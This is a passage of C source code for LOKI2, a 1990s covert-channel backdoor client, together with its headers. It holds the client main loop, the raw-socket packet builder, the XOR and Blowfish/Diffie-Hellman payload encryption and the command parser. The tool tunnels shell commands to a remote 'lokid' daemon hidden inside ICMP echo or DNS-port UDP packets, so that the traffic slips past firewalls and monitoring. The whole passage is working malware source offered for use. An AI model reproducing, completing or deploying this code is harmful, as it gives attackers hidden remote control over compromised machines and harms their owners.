  891. #endif
  892. #ifdef WEAK_CRYPTO
  893.  
  894. /*
  895.  *  Simple XOR obfuscation.
  896.  *
  897.  *  ( Syko was right -- the following didn't work under certain compilation
  898.  *  environments...  Never write code in which the order of evaluation defines
  899.  *  the result.  See K&R page 53, at the bottom... )
  900.  *
  901.  *  if (!m) while (i < bs) t[i] ^= t[i++ +1];
  902.  *  else
  903.  *  {
  904.  *      i = bs;
  905.  *      while (i) t[i - 1] ^= t[i--];
  906.  *  }
  907.  *
  908.  */
  909.  
  910. void blur(int m, int bs, u_char *t)
  911. {
  912.  
  913.     int i = 0;
  914.  
  915.     if (!m)
  916.     {                           /* Encrypt */
  917.         while (i < bs)
  918.         {
  919.             t[i] ^= t[i + 1];
  920.             i++;
  921.         }
  922.     }
  923.     else
  924.     {                           /* Decrypt */
  925.         i = bs;
  926.         while (i)
  927.         {
  928.             t[i - 1] ^= t[i];
  929.             i--;
  930.         }
  931.     }
  932. }
  933.  
  934. #endif
  935. #ifdef NO_CRYPTO
  936.  
  937. /*
  938.  *  No encryption
  939.  */
  940.  
  941. void blur(int m, int bs, u_char *t){}
  942.  
  943. #endif
  944.  
  945. /* EOF */
  946. <--> crypt.c
  947. <++> L2/crypt.h
  948. /*
  949.  * LOKI
  950.  *
  951.  * crypt header file
  952.  *
  953.  *  1996/7 Guild Corporation Productions    [daemon9]
  954.  */
  955.  
  956.  
  957. #ifdef STRONG_CRYPTO
  958. /* 384-bit strong prime */
  959.  
  960. u_char modulus[] =
  961. {
  962.  
  963. 0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
  964. 0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
  965. 0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
  966. 0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,
  967.  
  968. };
  969. #endif
  970. <--> crypt.h
  971. <++> L2/loki.c
  972. /*
  973.  * LOKI2
  974.  *
  975.  * [ loki.c ]
  976.  *
  977.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  978.  */
  979.  
  980.  
  981. #include "loki.h"
  982.  
  983. jmp_buf env;
  984. struct loki sdg, rdg;
  985. int verbose     = OK, cflags = 0, ripsock = 0, tsock = 0;
  986. u_long p_read   = 0;                    /* packets read */
  987.  
  988.  
  989. #ifdef  STRONG_CRYPTO
  990. DH *dh_keypair = NULL;                  /* DH public and private keypair */
  991. extern u_short ivec_salt;
  992. #endif
  993.  
  994.  
  995. int main(int argc, char *argv[])
  996. {
  997.  
  998.     static int prot         = IPPROTO_ICMP, one = 1, c = 0;
  999. #ifdef  STRONG_CRYPTO
  1000.     static int established  = 0, retran = 0;
  1001. #endif
  1002.     static u_short loki_id  = 0;
  1003.     int timer               = MIN_TIMEOUT;
  1004.     u_char buf[BUFSIZE]     = {0};
  1005.     struct protoent *pprot  = 0;
  1006.     struct sockaddr_in sin;
  1007.                                         /* Ensure we have proper permissions */
  1008.     if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
  1009.     loki_id = getpid();                 /* Allows us to individualize each
  1010.                                          * same protocol loki client session
  1011.                                          * on a given host.
  1012.                                          */
  1013.     bzero((struct sockaddr_in *)&sin, sizeof(sin));
  1014.     while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
  1015.     {
  1016.         switch (c)
  1017.         {
  1018.             case 'v':                   /* change verbosity */
  1019.                 verbose = atoi(optarg);
  1020.                 break;
  1021.  
  1022.             case 'd':                   /* destination address of daemon */
  1023.                 strncpy(buf, optarg, BUFSIZE - 1);
  1024.                 sin.sin_family      = AF_INET;
  1025.                 sin.sin_addr.s_addr = name_resolve(buf);
  1026.                 break;
  1027.  
  1028.             case 't':                   /* change alarm timer */
  1029.                 if ((timer = atoi(optarg)) < MIN_TIMEOUT)
  1030.                      err_exit(1, 0, 1, "Invalid timeout.\n");
  1031.                 break;
  1032.  
  1033.             case 'p':                   /* select transport protocol */
  1034.                 switch (optarg[0])
  1035.                 {
  1036.                     case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
  1037.                         prot = IPPROTO_ICMP;
  1038.                         break;
  1039.  
  1040.                     case 'u':           /* DNS query / reply */
  1041.                         prot = IPPROTO_UDP;
  1042.                         break;
  1043.  
  1044.                     default:
  1045.                         err_exit(1, 0, verbose, "Unknown transport.\n");
  1046.                 }
  1047.                 break;
  1048.  
  1049.             default:
  1050.                 err_exit(0, 0, 1, C_MSG_USAGE);
  1051.         }
  1052.     }
  1053.                                         /* we need a destination address */
  1054.     if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
  1055.     if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  1056.         err_exit(1, 1, 1, L_MSG_SOCKET);
  1057.  
  1058. #ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
  1059.     if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
  1060. #endif
  1061.                                         /* Raw socket to build packets */
  1062.     if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1063.          err_exit(1, 1, verbose, L_MSG_SOCKET);
  1064. #ifdef  DEBUG
  1065.     fprintf(stderr, "\nRaw IP socket: ");
  1066.     fd_status(ripsock, OK);
  1067. #endif
  1068.  
  1069. #ifdef  IP_HDRINCL
  1070.     if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
  1071.         if (verbose) perror("Cannot set IP_HDRINCL socket option");
  1072. #endif
  1073.                                         /* register packet dumping function
  1074.                                          * to be called upon exit
  1075.                                          */
  1076.     if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
  1077.  
  1078.     fprintf(stderr, L_MSG_BANNER);
  1079.     for (; ;)
  1080.     {
  1081. #ifdef  STRONG_CRYPTO
  1082.                                         /* Key negotiation phase.  Before we
  1083.                                          * can do anything, we need to share
  1084.                                          * a secret with the server.  This
  1085.                                          * is our key management phase.
  1086.                                          * After this is done, we are
  1087.                                          * established.  We try MAX_RETRAN
  1088.                                          * times to contact a  server.
  1089.                                          */
  1090.         if (!established)
  1091.         {
  1092.                                         /* Generate the DH parameters and public
  1093.                                          * and private keypair
  1094.                                          */
  1095.             if (!dh_keypair)
  1096.             {
  1097.                 if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
  1098.                 if (!(dh_keypair = generate_dh_keypair()))
  1099.                     err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
  1100.             }
  1101.             if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
  1102.                                         /* convert the BIGNUM public key
  1103.                                          * into a big endian byte string
  1104.                                          */
  1105.             bzero((u_char *)buf, BUFSIZE);
  1106.             BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
  1107.                                         /* Submit our key and request to
  1108.                                          * the server (in one packet)
  1109.                                          */
  1110.             if (verbose) fprintf(stderr, C_MSG_PKREQ);
  1111.             loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
  1112.         }
  1113.         else
  1114.         {
  1115. #endif
  1116.             bzero((u_char *)buf, BUFSIZE);
  1117.             fprintf(stderr, PROMPT);        /* prompt user for input */
  1118.             read(STDIN_FILENO, buf, BUFSIZE - 1);
  1119.             buf[strlen(buf)] = 0;
  1120.                                             /* Nothing to parse */
  1121.             if (buf[0] == '\n') continue;   /* Escaped command */
  1122.             if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
  1123.                                         /* Send request to server */
  1124.             loki_xmit(buf, loki_id, prot, sin, L_REQ);
  1125. #ifdef  STRONG_CRYPTO
  1126.         }
  1127. #endif
  1128.                                         /* change transports */
  1129.         if (cflags & NEWTRANS)
  1130.         {
  1131.             close(tsock);
  1132.             prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
  1133.             if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  1134.                  err_exit(1, 1, verbose, L_MSG_SOCKET);
  1135.  
  1136.             pprot = getprotobynumber(prot);
  1137.             if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
  1138.             cflags &= ~NEWTRANS;
  1139.             continue;
  1140.         }
  1141.         if (cflags & TERMINATE)         /* client should exit */
  1142.         {
  1143.             fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");
  1144.             clean_exit(0);
  1145.         }
  1146.                                         /* Clear TRAP and VALID PACKET flags */
  1147.         cflags &= (~TRAP & ~VALIDP);
  1148.                                         /* set alarm singal handler */
  1149.         if (signal(SIGALRM, catch_timeout) == SIG_ERR)
  1150.             err_exit(1, 1, verbose, L_MSG_SIGALRM);
  1151.                                         /* returns true if we land here as the
  1152.                                          * result of a longjmp() -- IOW the
  1153.                                          * alarm timer went off
  1154.                                          */
  1155.         if (setjmp(env))
  1156.         {
  1157.             fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
  1158.             cflags |= TRAP;
  1159. #ifdef  STRONG_CRYPTO
  1160.             if (!established)           /* No connection established yet */
  1161.                 if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server.  Giving up.\n");
  1162.                 else if (verbose) fprintf(stderr, "Resending...\n");
  1163. #endif
  1164.         }
  1165.         while (!(cflags & TRAP))
  1166.         {                               /* TRAP will not be set unless the
  1167.                                          * alarm timer expires or we get
  1168.                                          * an EOT packet
  1169.                                          */
  1170.            alarm(timer);                /* block until alarm or read */
  1171.  
  1172.            if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
  1173.                 perror("[non fatal] network read error");
  1174.  
  1175.             switch (prot)
  1176.             {                           /* Is this a valid Loki packet? */
  1177.                 case IPPROTO_ICMP:
  1178.                     if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
  1179.                     break;
  1180.  
  1181.                 case IPPROTO_UDP:
  1182.                     if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
  1183.                     break;
  1184.  
  1185.                 default:
  1186.                     err_exit(1, 0, verbose, L_MSG_WIERDERR);
  1187.             }
  1188.             if (cflags & VALIDP)
  1189.             {
  1190. #ifdef  DEBUG
  1191.         fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
  1192.         PACKET_TYPE(rdg);
  1193.         DUMP_PACKET(rdg, c);
  1194. #endif
  1195.                                         /* we have a valid packet and can
  1196.                                          * turn off the alarm timer
  1197.                                          */
  1198.                 alarm(0);
  1199.                 switch (rdg.payload[0]) /* determine packet type */
  1200.                 {
  1201.                     case L_REPLY :      /* standard reply packet */
  1202.                         bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
  1203.                         blur(DECR, BUFSIZE - 1, buf);
  1204. #ifndef DEBUG
  1205.                         fprintf(stderr, "%s", buf);
  1206. #endif
  1207.                         p_read++;
  1208.                         break;
  1209.  
  1210.                     case L_EOT :        /* end of transmission packet */
  1211.                         cflags |= TRAP;
  1212.                         p_read++;
  1213.                         break;
  1214.  
  1215.                     case L_ERR :        /* error msg packet (not encrypted) */
  1216.                         bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
  1217.                         fprintf(stderr, "%s", buf);
  1218. #ifdef  STRONG_CRYPTO
  1219.                                         /* If the connection is not established
  1220.                                          * we exit upon receipt of an error
  1221.                                          */
  1222.                         if (!established) clean_exit(1);
  1223. #endif
  1224.                         break;
  1225. #ifdef  STRONG_CRYPTO
  1226.                     case L_PK_REPLY :   /* public-key receipt */
  1227.                         if (verbose) fprintf(stderr, C_MSG_PKREC);
  1228.                                         /* compute DH key parameters */
  1229.                         DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
  1230.                                         /* extract blowfish key from the
  1231.                                          * DH shared secret.
  1232.                                          */
  1233.                         if (verbose) fprintf(stderr, C_MSG_SKSET);
  1234.                         extract_bf_key(buf, OK);
  1235.                         established = OK;
  1236.                         break;
  1237. #endif
  1238.                     case L_QUIT:        /* termination directive packet */
  1239.                         fprintf(stderr, C_MSG_MUSTQUIT);
  1240.                         clean_exit(0);
  1241.  
  1242.                     default :
  1243.                         fprintf(stderr, "\nUnknown LOKI packet type");
  1244.                         break;
  1245.                 }
  1246.                 cflags &= ~VALIDP;      /* reset VALID PACKET flag */
  1247.             }
  1248.         }
  1249.     }
  1250.     return (0);
  1251. }
  1252.  
  1253.  
  1254. /*
  1255.  *  Build and transmit Loki packets (client version)
  1256.  */
  1257.  
  1258. void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype)
  1259. {
  1260.  
  1261.     bzero((struct loki *)&sdg, LOKIP_SIZE);
  1262.                                         /* Encrypt and load payload, unless
  1263.                                          * we are doing key management
  1264.                                          */
  1265.     if (ptype != L_PK_REQ)
  1266.     {
  1267. #ifdef  STRONG_CRYPTO
  1268.         ivec_salt++;
  1269. #endif
  1270.         blur(ENCR, BUFSIZE - 1, payload);
  1271.     }
  1272.     bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
  1273.  
  1274.     if (prot == IPPROTO_ICMP)
  1275.     {
  1276. #ifdef  NET3                                            /* Our workaround. */
  1277.         sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
  1278. #else
  1279.         sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
  1280. #endif
  1281.         sdg.ttype.icmph.icmp_code   = (int)NULL;
  1282.         sdg.ttype.icmph.icmp_id     = loki_id;          /* Session ID */
  1283.         sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
  1284.         sdg.payload[0]              = ptype;
  1285.         sdg.ttype.icmph.icmp_cksum  =
  1286.              i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
  1287.     }
  1288.     if (prot == IPPROTO_UDP)
  1289.     {
  1290.         sdg.ttype.udph.uh_sport     = loki_id;
  1291.         sdg.ttype.udph.uh_dport     = NL_PORT;
  1292.         sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
  1293.         sdg.payload[0]              = ptype;
  1294.         sdg.ttype.udph.uh_sum       =
  1295.              i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
  1296.     }
  1297.     sdg.iph.ip_v    = 0x4;
  1298.     sdg.iph.ip_hl   = 0x5;
  1299.     sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
  1300.     sdg.iph.ip_ttl  = 0x40;
  1301.     sdg.iph.ip_p    = prot;
  1302.     sdg.iph.ip_dst  = sin.sin_addr.s_addr;
  1303.  
  1304.     if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
  1305.     {
  1306.         if (verbose) perror("[non fatal] truncated write");
  1307.     }
  1308. }
  1309.  
  1310.  
  1311. /*
  1312.  *  help is here
  1313.  */
  1314.  
  1315. void help()
  1316. {
  1317.  
  1318.     fprintf(stderr,"
  1319.     %s\t\t-  you are here
  1320.     %s xx\t\t-  change alarm timeout to xx seconds (minimum of %d)
  1321.     %s\t\t-  query loki server for client statistics
  1322.     %s\t\t-  query loki server for all client statistics
  1323.     %s\t\t-  swap the transport protocol ( UDP <-> ICMP ) [in beta]
  1324.     %s\t\t-  quit the client
  1325.     %s\t\t-  quit this client and kill all other clients (and the server)
  1326.     %s dest\t\t-  proxy to another server    [ UNIMPLIMENTED ]
  1327.     %s dest\t-  redirect to another client [ UNIMPLIMENTED ]\n",
  1328.  
  1329.     HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
  1330. }
  1331.  
  1332.  
  1333. /*
  1334.  *  parse escaped commands
  1335.  */
  1336.  
  1337. int c_parse(u_char *buf, int *timer)
  1338. {
  1339.  
  1340.     cflags &= ~VALIDC;
  1341.                                         /* help */
  1342.     if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
  1343.     {
  1344.         help();
  1345.         return (NOK);
  1346.     }
  1347.                                         /* change alarm timer */
  1348.     else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
  1349.     {
  1350.         cflags |= VALIDC;
  1351.         (*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
  1352.         fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
  1353.         return (NOK);
  1354.     }
  1355.                                         /* Quit client, send notice to server */
  1356.     else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
  1357.         cflags |= (TERMINATE | VALIDC);
  1358.                                         /* Quit client, send kill to server */
  1359.     else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
  1360.         cflags |= (TERMINATE | VALIDC);
  1361.                                         /* Request server-side statistics */
  1362.     else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
  1363.         cflags |= VALIDC;
  1364.                                         /* Swap transport protocols */
  1365.     else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
  1366.     {
  1367.                                         /* When using strong crypto we do not
  1368.                                          * want to swap protocols.
  1369.                                          */
  1370. #ifdef  STRONG_CRYPTO
  1371.         fprintf(stderr, C_MSG_NOSWAP);
  1372.         return (NOK);
  1373. #elif   !(__linux__)
  1374.         fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
  1375.         return (NOK);
  1376. #else
  1377.         cflags |= (NEWTRANS | VALIDC);
  1378. #endif
  1379.  
  1380.     }
  1381.                                         /* Request server to redirect output
  1382.                                          * to another LOKI client
  1383.                                          */
  1384.     else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
  1385.         cflags |= (REDIRECT | VALIDC);
  1386.                                         /* Request server to simply proxy
  1387.                                          * requests to another LOKI server
  1388.                                          */
  1389.     else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
  1390.         cflags |= (PROXY | VALIDC);
  1391.  
  1392.                                         /* Bad command trap */
  1393.     if (!(cflags & VALIDC))
  1394.     {
  1395.         fprintf(stderr, "Unrecognized command %s\n",buf);
  1396.         return (NOK);
  1397.     }
  1398.  
  1399.     return (OK);
  1400. }
  1401.  
  1402.  
  1403. /*
  1404.  *  Dumps packets read by client...
  1405.  */
  1406.  
  1407. void packets_read()
  1408. {
  1409.     fprintf(stderr, "Packets read: %ld\n", p_read);
  1410. }
  1411.  
  1412. /* EOF */
  1413. <--> loki.c
  1414. <++> L2/loki.h
  1415. #ifndef  __LOKI_H__
  1416. #define  __LOKI_H__
  1417.  
  1418. /*
  1419.  * LOKI
  1420.  *
  1421.  * loki header file
  1422.  *
  1423.  *  1996/7 Guild Corporation Productions    [daemon9]
  1424.  */
  1425.  
  1426.  
  1427. #include <stdio.h>
  1428. #include <stdlib.h>
  1429. #include <string.h>
  1430. #include <signal.h>
  1431. #include <pwd.h>
  1432. #include <unistd.h>
  1433. #include <netinet/in.h>
  1434. #include <arpa/inet.h>
  1435. #include <netdb.h>
  1436. #include <sys/socket.h>
  1437. #include <sys/ioctl.h>
  1438. #include <sys/stat.h>
  1439. #include <sys/wait.h>
  1440. #include <fcntl.h>
  1441. #include <time.h>
  1442. #include <grp.h>
  1443. #include <termios.h>
  1444. #include <sys/ipc.h>
  1445. #include <sys/sem.h>
  1446. #include <sys/shm.h>
  1447. #include <setjmp.h>
  1448.  
  1449. #ifdef LINUX
  1450. #include <linux/icmp.h>
  1451. #include <linux/ip.h>
  1452. #include <linux/signal.h>
  1453.                                     /* BSDish nomenclature */
  1454. #define ip          iphdr
  1455. #define ip_v        version
  1456. #define ip_hl       ihl
  1457. #define ip_len      tot_len
  1458. #define ip_ttl      ttl
  1459. #define ip_p        protocol
  1460. #define ip_dst      daddr
  1461. #define ip_src      saddr
  1462. #endif
  1463.  
  1464. #ifdef BSD4
  1465. #include <netinet/in_systm.h>
  1466. #include <netinet/ip_var.h>
  1467. #include <netinet/ip.h>
  1468. #include <netinet/tcp.h>
  1469. #include <netinet/tcpip.h>
  1470. #include <netinet/ip_icmp.h>
  1471. #include <netinet/icmp_var.h>
  1472. #include <sys/sockio.h>
  1473. #include <sys/termios.h>
  1474. #include <sys/signal.h>
  1475.  
  1476. #undef  icmp_id
  1477. #undef  icmp_seq
  1478. #define ip_dst      ip_dst.s_addr
  1479. #define ip_src      ip_src.s_addr
  1480. #endif
  1481.  
  1482. #ifdef SOLARIS
  1483. #include <netinet/in_systm.h>
  1484. #include <netinet/in.h>
  1485. #include <netinet/ip_var.h>
  1486. #include <netinet/ip.h>
  1487. #include <netinet/tcp.h>
  1488. #include <netinet/tcpip.h>
  1489. #include <netinet/ip_icmp.h>
  1490. #include <netinet/icmp_var.h>
  1491. #include <sys/sockio.h>
  1492. #include <sys/termios.h>
  1493. #include <sys/signal.h>
  1494. #include <strings.h>
  1495. #include <unistd.h>
  1496.  
  1497. #undef  icmp_id
  1498. #undef  icmp_seq
  1499. #define ip_dst      ip_dst.s_addr
  1500. #define ip_src      ip_src.s_addr
  1501. #endif
  1502.  
  1503. #ifdef BROKEN_IP_LEN
  1504. #define FIX_LEN(n)  (x)         /* FreeBSD needs this  */
  1505. #else
  1506. #define FIX_LEN(n)  htons(n)
  1507. #endif
  1508.  
  1509.  
  1510. /*
  1511.  *  Net/3 will not pass ICMP_ECHO packets to user processes.
  1512.  */
  1513.  
  1514. #ifdef NET3
  1515. #define D_P_TYPE    ICMP_ECHO
  1516. #define C_P_TYPE    ICMP_ECHOREPLY
  1517. #else
  1518. #define D_P_TYPE    ICMP_ECHOREPLY
  1519. #define C_P_TYPE    ICMP_ECHO
  1520. #endif
  1521.  
  1522. #ifdef STRONG_CRYPTO
  1523. #include "/usr/local/ssl/include/blowfish.h"
  1524. #include "/usr/local/ssl/include/bn.h"
  1525. #include "/usr/local/ssl/include/dh.h"
  1526. #include "/usr/local/ssl/include/buffer.h"
  1527.  
  1528. #define BF_KEYSIZE      16  /* blowfish key in bytes                    */
  1529. #define IVEC_SIZE       7   /* I grabbed this outta thin air.           */
  1530. #define BN2BIN_SIZE     48  /* bn2bin byte-size of 384-bit prime        */
  1531. #endif
  1532.  
  1533. #ifdef  STRONG_CRYPTO
  1534. #define CRYPTO_TYPE "blowfish"
  1535. #endif
  1536. #ifdef  WEAK_CRYPTO
  1537. #define CRYPTO_TYPE "XOR"
  1538. #endif
  1539. #ifdef  NO_CRYPTO
  1540. #define CRYPTO_TYPE "none"
  1541. #endif
  1542.  
  1543.  
  1544. /* Start user configurable options */
  1545.  
  1546. #define MIN_TIMEOUT 3       /* minimum client-side alarm timeout        */
  1547. #define MAX_RETRAN  3       /* maximum client-side timeout/retry amount */
  1548. #define MAX_CLIENT  0xa     /* maximum server-side client count         */
  1549. #define KEY_TIMER   0xe10   /* maximum server-side idle client TTL      */
  1550.  
  1551. /* End user configurable options */
  1552.  
  1553.  
  1554.  
  1555. #define VERSION     "2.0"
  1556. #define BUFSIZE     0x38    /* We build packets with a fixed payload.
  1557.                              * Fine for ICMP_ECHO/ECHOREPLY packets as they
  1558.                              * often default to a 56 byte payload.  However
  1559.                              * DNS query/reply packets have no set size and
  1560.                              * are generally oddly sized with no padding.
  1561.                              */
  1562.  
  1563. #define ICMPH_SIZE  8
  1564. #define UDPH_SIZE   8
  1565. #define NL_PORT     htons(0x35)
  1566.  
  1567. #define PROMPT      "loki> "
  1568. #define ENCR        1       /* symbolic for encrypt             */
  1569. #define DECR        0       /* symbolic for decrypt             */
  1570. #define NOCR        1       /* don't encrypt this packet        */
  1571. #define OKCR        0       /* encrypt this packet              */
  1572. #define OK          1       /* Positive acknowledgement         */
  1573. #define NOK         0       /* Negative acknowledgement         */
  1574. #define NNOK        -1      /* Really negative acknowledgement  */
  1575. #define FIND        1       /* Controls locate_client           */
  1576. #define DESTROY     2       /*  disposition                     */
  1577.  
  1578. /*  LOKI packet type symbolics */
  1579.  
  1580. #define L_TAG       0xf001  /* Tags packets as LOKI             */
  1581. #define L_PK_REQ    0xa1    /* Public Key request packet        */
  1582. #define L_PK_REPLY  0xa2    /* Public Key reply packet          */
  1583. #define L_EOK       0xa3    /* Encrypted ok                     */
  1584. #define L_REQ       0xb1    /* Standard reuqest packet          */
  1585. #define L_REPLY     0xb2    /* Standard reply packet            */
  1586. #define L_ERR       0xc1    /* Error of some kind               */
  1587. #define L_ACK       0xd1    /* Acknowledgement                  */
  1588. #define L_QUIT      0xd2    /* Receiver should exit             */
  1589. #define L_EOT       0xf1    /* End Of Transmission packet       */
  1590.  
  1591. /*  Packet type printing macro */
  1592.  
  1593. #ifdef DEBUG
  1594. #define PACKET_TYPE(ldg)\
  1595. \
  1596. if      (ldg.payload[0]   == 0xa1) fprintf(stderr, "Public Key Request");  \
  1597. else if (ldg.payload[0]   == 0xa2) fprintf(stderr, "Public Key Reply");    \
  1598. else if (ldg.payload[0]   == 0xa3) fprintf(stderr, "Encrypted OK");        \
  1599. else if (ldg.payload[0]   == 0xb1) fprintf(stderr, "Client Request");      \
  1600. else if (ldg.payload[0]   == 0xb2) fprintf(stderr, "Server Reply");        \
  1601. else if (ldg.payload[0]   == 0xc1) fprintf(stderr, "Error");               \
  1602. else if (ldg.payload[0]   == 0xd1) fprintf(stderr, "ACK");                 \
  1603. else if (ldg.payload[0]   == 0xd2) fprintf(stderr, "QUIT");                \
  1604. else if (ldg.payload[0]   == 0xf1) fprintf(stderr, "Server EOT");          \
  1605. else                               fprintf(stderr, "Unknown");             \
  1606. if      (prot == IPPROTO_ICMP)     fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
  1607. else                               fprintf(stderr, "\n");\
  1608.  
  1609. #define DUMP_PACKET(ldg, i)\
  1610. \
  1611. for (i = 0; i < BUFSIZE; i++)      fprintf(stderr, "0x%x ",ldg.payload[i]); \
  1612. fprintf(stderr, "\n");\
  1613.  
  1614. #endif
  1615.  
  1616.  
  1617. /*
  1618.  *  Escaped commands (not interpreted by the shell)
  1619.  */
  1620.  
  1621. #define HELP        "/help"         /* Help me                      */
  1622. #define TIMER       "/timer"        /* Change the client side timer */
  1623. #define QUIT_C      "/quit"         /* Quit the client              */
  1624. #define QUIT_ALL    "/quit all"     /* Kill all clients and server  */
  1625. #define STAT_C      "/stat"         /* Stat the client              */
  1626. #define STAT_ALL    "/stat all"     /* Stat all the clients         */
  1627. #define SWAP_T      "/swapt"        /* Swap protocols               */
  1628. #define REDIR_C     "/redirect"     /* Redirect to another client   */
  1629. #define PROXY_D     "/proxy"        /* Proxy to another server      */
  1630.  
  1631. /*
  1632.  *  Control flag symbolics
  1633.  */
  1634.  
  1635. #define TERMINATE   0x01
  1636. #define TRAP        0x02
  1637. #define VALIDC      0x04
  1638. #define VALIDP      0x08
  1639. #define NEWTRANS    0x10
  1640. #define REDIRECT    0x20
  1641. #define PROXY       0x40
  1642. #define SENDKILL    0x80
  1643.  
  1644.  
  1645. /*
  1646.  *  Message Strings
  1647.  *  L_ == common to both server and client
  1648.  *  S_ == specific to server
  1649.  *  C_ == specific to client
  1650.  */
  1651.  
  1652. #define L_MSG_BANNER    "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
  1653. #define L_MSG_NOPRIV    "\n[fatal] invalid user identification value"
  1654. #define L_MSG_SOCKET    "[fatal] socket allocation error"
  1655. #define L_MSG_ICMPONLY  "\nICMP protocol only with strong cryptography\n"
  1656. #define L_MSG_ATEXIT    "[fatal] cannot register with atexit(2)"
  1657. #define L_MSG_DHKEYGEN  "generating Diffie-Hellman parameters and keypair"
  1658. #define L_MSG_DHKGFAIL  "\n[fatal] Diffie-Hellman key generation failure\n"
  1659. #define L_MSG_SIGALRM   "[fatal] cannot catch SIGALRM"
  1660. #define L_MSG_SIGUSR1   "[fatal] cannot catch SIGUSR1"
  1661. #define L_MSG_SIGCHLD   "[fatal] cannot catch SIGCHLD"
  1662. #define L_MSG_WIERDERR  "\n[SUPER fatal] control should NEVER fall here\n"
  1663. #define S_MSG_PACKED    "\nlokid: server is currently at capacity.  Try again later\n"
  1664. #define S_MSG_UNKNOWN   "\nlokid: cannot locate client entry in database\n"
  1665. #define S_MSG_UNSUP     "\nlokid: unsupported or unknown command string\n"
  1666. #define S_MSG_ICMPONLY  "\nlokid: ICMP protocol only with strong cryptography\n"
  1667. #define S_MSG_CLIENTK   "\nlokid: clean exit (killed at client request)\n"
  1668. #define S_MSG_DUP       "\nlokid: duplicate client entry found, updating\n"
  1669. #define S_MSG_USAGE     "\nlokid -p (i|u) [ -v (0|1) ]\n"
  1670. #define C_MSG_USAGE     "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
  1671. #define C_MSG_TIMEOUT   "\nloki: no response from server (expired timer)\n"
  1672. #define C_MSG_NOSWAP    "\nloki: cannot swap protocols with strong crypto\n"
  1673. #define C_MSG_PKREQ     "loki: requesting public from server\n"
  1674. #define C_MSG_PKREC     "loki: received public key, computing shared secret\n"
  1675. #define C_MSG_SKSET     "loki: extracting and setting expanded blowfish key\n"
  1676. #define C_MSG_MUSTQUIT  "\nloki: received termination directive from server\n"
  1677.  
  1678. /*
  1679.  *  Macros to evaluate packets to determine if they are LOKI or not.
  1680.  *  These are UGLY.
  1681.  */
  1682.  
  1683.  
  1684. /*
  1685.  *  ICMP_ECHO client packet check
